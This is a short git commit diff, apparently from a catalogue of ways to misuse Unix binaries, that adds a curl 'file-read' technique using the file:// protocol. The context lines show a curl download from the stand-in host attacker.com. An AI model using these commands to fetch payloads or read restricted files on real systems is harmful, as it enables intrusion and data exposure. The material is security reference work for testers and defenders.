Add file-read to curl

This commit is contained in:
Roman Mueller 2018-06-10 10:49:59 +02:00
parent e3c2d148ca
commit 2514e7d0dd

View File

@ -12,4 +12,9 @@ functions:
URL=http://attacker.com/file_to_get URL=http://attacker.com/file_to_get
LFILE=file_to_save LFILE=file_to_save
curl $URL -o $LFILE curl $URL -o $LFILE
file-read:
- description: Uses the FILE protocol to fetch and display the file. The file path must be absolute.
code: |
LFILE=/tmp/file_to_read
curl file://$LFILE
--- ---